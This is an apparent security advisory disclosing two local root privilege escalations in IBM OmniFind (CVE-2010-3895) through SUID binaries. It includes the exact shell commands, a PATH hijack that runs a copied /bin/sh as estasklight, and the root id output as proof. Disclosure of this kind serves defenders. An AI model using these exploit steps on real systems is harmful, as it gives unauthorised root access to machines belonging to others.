IBM OmniFind – Local Privilege Escalation
* Privilege escalation in two applications (CVE-2010-3895) Root SUID bits are set for the applications »esRunCommand« and »estaskwrapper«. ------------------------------------------------------------------------- -rwsr-xr-x 1 root users ... /opt/IBM/es/bin/esRunCommand -rwsr-xr-x 1 root users ... /opt/IBM/es/bin/estaskwrapper ------------------------------------------------------------------------- »esRunCommand« takes one argument and runs it as root. See example below. ------------------------------------------------------------------------- -rwsr-xr-x 1 root users ... /opt/IBM/es/bin/esRunCommand joemueller@XXX:/opt/IBM/es/bin> ./esRunCommand id OUTPUT: cmd is id id uid=0(root) gid=100(users) Gruppen=16(dialout),33(video),100(users) ------------------------------------------------------------------------- The application »estaskwrapper« is meant to start the application »estasklight«. The pseudo c code looks like this: ------------------------------------------------------------------------- main() { int auth = 0; ... if (argv[1] == "estasklight") { auth = 1; ... path = getenv("ES_LIBRARY_PATH"); if (path) { setenv("LD_LIBRARY_PATH", path); setenv("LIBPATH", path); ... if (auth) { execvp ("estasklight", args); } ... } ... } ... } ------------------------------------------------------------------------- Explanation of the code: »argv[1]« is the first command line argument, that is compared with the string »estasklight«. If it is equal the »auth« flag is set. If the user has the environment variable »ES_LIBRARY_PATH« set, the value is copied to two new environment variables »LD_LIBRARY_PATH« and »LIBPATH«. If the »auth« flag is set, the application »estasklight« is executed. Exploit for running /bin/sh ------------------------------------------------------------------------- joemueller@XXX:~> cp /bin/sh ~/bin/estasklight joemueller@XXX:~> export ES_LIBRARY_PATH=/home/joemueller joemueller@XXX:~> export PATH=/home/joemueller/bin:$PATH joemueller@XXX:~> /opt/IBM/es/bin/estaskwrapper estasklight XXX:~# id uid=0(root) gid=100(users) Gruppen=16(dialout),33(video),100(users) ------------------------------------------------------------------------- |